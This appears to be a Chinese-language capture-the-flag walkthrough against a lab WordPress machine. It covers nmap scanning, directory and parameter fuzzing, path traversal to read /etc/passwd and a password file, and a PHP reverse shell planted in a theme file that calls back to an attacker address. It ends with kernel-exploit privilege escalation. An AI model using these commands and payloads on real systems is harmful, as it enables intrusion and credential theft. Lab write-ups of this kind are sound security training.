一、常规nmap扫描
sudo nmap --min-rate 10000 -p- 192.168.160.176
sudo nmap -sU --min-rate 10000 -p- 192.168.160.176
sudo nmap -sT -sV -O -p22,80 192.168.160.176
sudo nmap --script=vuln -p22,80 192.168.160.176
二、web80端口渗透
1. web目录扫描
sudo dirb http://192.168.160.176/
发现是WordPress以及dev目录下的提示
sudo dirb http://192.168.160.176/ -X .zip,.txt,.php -o report/dirb.txt
进一步扫描指定后缀文件,发现有三个链接
http://192.168.160.176/image.php
http://192.168.160.176/index.php
http://192.168.160.176/secret.txt
其中secret.txt有以下提示
根据提示打开https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web,发现是让我们用wfuzz扫描参数
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147http://192.168.160.176/image.php?FUZZ=something
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.160.176/index.php?FUZZ=something
参数扫描发现file参数:
2. 参数爆破
结合前面secret.txt提示到的查看location.txt和file参数,拼接查看
sudo curl http://192.168.160.176/index.php?file=location.txt
得到提示在另一个链接使用secrettier360参数测试
sudo curl http://192.168.160.176/image.php?secrettier360=
考虑到上个file参数是文件包含,这个参数也测试文件包含试试读取/etc/passwd,发现有效
sudo curl http://192.168.160.176/image.php?secrettier360=…/…/…/…/…/…/etc/passwd
根据提示找到密码文件
sudo curl http://192.168.160.176/image.php?
secrettier360=…/…/…/…/…/…/home/saket/password.txt
利用victor和follow_the_ippsec,登录WordPress后台
三、WordPress渗透
尝试插件和主题模块漏洞,发现主题编辑器有个secret.php文件可以写shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.160.131/443 0>&1'"); ?>连接shell后成功获取基础shell权限,并得到第一个flag
四、提权
尝试过sudo,suid等提权方式发现无效,只能开始尝试内核提权,kali搜索相应内核版本漏洞
上传45010.c文件,在靶机上编译并运行,提权成功
但是返回的不是交互式shell,这里利用dpkg -l查看有没有python组件,利用python生成一个交互式shell
python -c “import pty;pty.spawn(‘/bin/bash’)”